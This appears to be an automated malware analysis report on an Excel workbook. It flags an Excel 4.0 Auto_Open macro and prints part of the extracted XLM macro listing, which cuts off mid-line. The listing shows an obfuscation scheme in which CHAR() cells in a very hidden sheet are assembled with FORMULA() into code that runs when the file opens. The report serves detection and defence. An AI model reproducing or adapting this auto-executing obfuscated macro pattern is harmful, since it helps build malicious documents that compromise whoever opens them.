MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a known technique for executing malicious code upon opening the workbook. The heuristics indicate the use of dangerous formula APIs within the macro, suggesting an intent to perform actions beyond standard spreadsheet operations. No specific IOCs like URLs or executable payloads were directly extracted, but the presence of the Auto_Open macro is a strong indicator of malicious intent.
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.microsoft.com/photo/1.0/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 42532 bytes |
SHA-256: dada22fe9592f5b6efbb8221d9b8a85e38be5e4775b4990990f8a10527e8dbdb |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - K9594giuD ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!Q1 ' 0018 18 LABEL : Cell Value, String Constant - kut len=0 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' K9594giuD,D1,CHAR(61),"" ' K9594giuD,M1,CHAR(61),"" ' K9594giuD,O1,CHAR(61),"" ' K9594giuD,Q1,"FORMULA(A4&A5&A6&A8&A9&A10&A11&A12&A13&A15&A16&A17&A19&A20&A21&A22&A24&A25&A26&A27&A29&A30&A31&A33&A34&A35&A36&A38&A39&A40&A41&A43&A44&A45&A47,R1)","" ' K9594giuD,D2,CHAR(67),"" ' K9594giuD,M2,CHAR(73),"" ' K9594giuD,O2,CHAR(67),"" ' K9594giuD,Q2,"FORMULA(B22&B24&B25&B26&B27&B29&B30&B31&B33&B34&B35&B36&B38&B39&B40&B41&B43&B44&B45&B47&B48&B49&B50&B52&B53&B54&B55&B56&B58&B59&B60&B61&B63&B64&B65,R2)","" ' K9594giuD,D3,[],"" ' K9594giuD,M3,[],"" ' K9594giuD,O3,[],"" ' K9594giuD,A4,CHAR(61),"" ' K9594giuD,D4,CHAR(65),"" ' K9594giuD,L4,CHAR(61),"" ' K9594giuD,M4,CHAR(70),"" ' K9594giuD,O4,CHAR(65),"" ' K9594giuD,Q4,"FORMULA(C87&C88&C89&C90&C91&C93&C94&C95&C96&C97&C99&C100&C101&C102&C103&C104&C105&C107&C108&C109&C110&C112&C113&C114&C115&C116&C118&C119&C120&C121&C122&C124&C125&C126&C127&C128&C130&C131&C132&C133&C135&C136&C137&C139&C140&C141&C142&C144&C145&C146&C148&C149&C150&C151&C153&C154&C155&C156&C158&C159&C160&C161&C162,R4)","" ' K9594giuD,A5,CHAR(73),"" ' K9594giuD,D5,CHAR(76),"" ' K9594giuD,L5,CHAR(67),"" ' K9594giuD,M5,CHAR(40),"" ' K9594giuD,O5,CHAR(76),"" ' K9594giuD,Q5,"FORMULA(D1&D2&D4&D5&D6&D8&D9&D10&D11&D12&D13&D15&D16&D17&D19&D20&D21&D22&D24&D25&D26&D27&D29&D30&D31&D33&D34&D35&D36&D38&D39&D40&D41&D43&D44&D45&D47&D48&D49&D50&D52&D53&D54&D55&D56&D58&D59&D60&D61&D63&D64&D65&D66&D67&D69&D70&D71&D72&D74&D75&D76&D77&D78&D80&D81&D82&D83&D84&D86&D87&D88&D89&D90&D91&D93&D94&D95&D96&D97&D99&D100&D101&D102&D103&D104&D105&D107&D108&D109&D110&D112&D113&D114&D115&D116&D118&D119&D120&D121&D122&D124&D125&D126&D127&D128&D130&D131&D132&D133&D135&D136&D137&D139&D140&D141&D142&D144&D145&D146&D148&D149&D150&D151&D153&D154&D155&D156&D158&D159&D160&D161&D162&D163&D164&D166&D167&D168&D169&D170&D171&D172&D173&D174&D175&D176&D177&D178&D179&D180&D181&D182&D183&D184&D185&D186&D187&D188&D189&D190&D191&D192&D193&D194&D195&D196&D197&D198&D199&D200&D201&D202&D203&D204&D205&D206&D207&D208&D209&D210&D211&D212&D213&D214&D215&D216&D217,R5)","" ' K9594giuD,A6,CHAR(70),"" ' K9594giuD,D6,CHAR(76),"" ' K9594giuD,L6,CHAR(65),"" ' K9594giuD,M6,CHAR(82),"" ' K9594giuD,O6,CHAR(76),"" ' K9594giuD,Q6,"FORMULA(E22&E24&E25&E26&E27&E29&E30&E31&E33&E34&E35&E36&E38&E39&E40&E41&E43&E44&E45&E47&E48&E49&E50,R6)","" ' K9594giuD,A7,[],"" ' K9594giuD,B7,[],"" ' K9594giuD,C7,[],"" ' K9594giuD,D7,[],"" ' K9594giuD,L7,[],"" ' K9594giuD,M7,[],"" ' K9594giuD,N7,[],"" ' K9594giuD,O7,[],"" ' K9594giuD,A8,CHAR(40),"" ' K9594giuD,D8,CHAR(40),"" ' K9594giuD,G8,CHAR(61),"" ' K9594giuD,L8,CHAR(76),"" ' K9594giuD,M8,CHAR(91),"" ' K9594giuD,O8,CHAR(40),"" ' K9594giuD,Q8,"FORMULA(F12&F13&F15&F16&F17&F19&F20&F21&F22&F24&F25&F26&F27&F29&F30&F31&F33&F34&F35&F36&F38&F39&F40&F41&F43&F44&F45&F47&F48&F49&F50,R8)","" ' K9594giuD,A9,CHAR(71),"" ' K9594giuD,D9,CHAR(34),"" ' K9594giuD,G9,CHAR(70),"" ' K9594giuD,J9,CHAR(61),"" ' K9594giuD,L9,CHAR(76),"" ' K9594giuD,M9,CHAR(45),"" ' K9594giuD,O9,CHAR(34),"" ' K9594giuD,Q9,"FORMULA(G8&G9&G10&G11&G12&G13&G15&G16&G17&G19&G20&G21&G22&G24&G25&G26&G27&G29,R9)","" ' K9594giuD,A10,CHAR(69),"" ' K9594giuD,D10,CHAR(83),"" ' K9594giuD,G10,CHAR(80),"" ' K9594giuD,J10,CHAR(70),"" ' K9594 ... (truncated) |
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